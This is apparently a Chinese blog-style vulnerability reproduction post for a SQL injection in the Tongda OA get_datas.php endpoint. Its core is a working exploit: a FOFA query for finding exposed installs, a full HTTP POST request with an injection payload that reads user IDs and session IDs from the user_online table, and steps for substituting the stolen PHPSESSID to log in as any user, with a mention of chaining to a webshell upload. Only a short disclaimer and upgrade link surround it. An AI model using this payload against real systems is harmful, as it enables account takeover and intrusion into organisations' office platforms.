页面设计稿,长沙网站seo哪家公司好,网站开发与服务合同,百度统计流量研究院文章目录 通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现… 文章目录 通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 通达OA get_datas.php前台sql注入-可获取数据库session登入后台漏洞复现 [附POC]
0x01 前言
免责声明请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用
0x02 漏洞描述
通达OAOffice Automation是一款企业级协同办公软件旨在为企业提供高效、便捷、安全、可控的办公环境。它涵盖了企业日常办公所需的各项功能包括人事管理、财务管理、采购管理、销售管理、库存管理、生产管理、办公自动化等。通达OA支持PC端和移动端使用可以实现随时随地办公提高工作效率和协作能力。同时它还具备高度可定制性和扩展性可以根据企业的实际需求进行定制开发满足企业的个性化需求。通达OA广泛应用于各类企业帮助企业实现数字化转型提高管理效率和竞争力。
攻击者通过对某OA系统进行代码审计找到get_datas.php文件中执行sql语句的变量处于可控状态。并可以通过此漏洞获取在线用户的Session值。通过构造绕过特殊的sql注入语句对在线用户Session记录进行任意查询。利用该漏洞可以实现任意用户登录。配合任意文件上传漏洞上传webshell。
0x03 影响版本
通达OAOffice Automation0x04 漏洞环境
FOFA语法 app“TDXK-通达OA”
0x05 漏洞复现
1.访问漏洞环境 2.构造POC
POC POST
POST /general/reportshop/utils/get_datas.php HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122USER_IDOfficeTaskPASSWORDcol1,1tab5 where 1{\ 1} union (select uid,sid from user_online where 1\{ 1})-- 13.复现
1.使用POST方式访问
/general/reportshop/utils/get_datas.phppayload为
USER_IDOfficeTaskPASSWORDcol1,1tab5 where 1{\ 1} union (select uid,sid from user_online where 1\{ 1})-- 1**2.通过获取到在线用户的Session登录general/index.php 时替换里面的PHPSESSID值即可实现任意用户登录。 1,2步完成后直接回车即可进入系统。
0x06 修复建议
目前官方已有可更新版本建议受影响用户升级至最新版
https://www.tongda2000.com/download/p2022.php
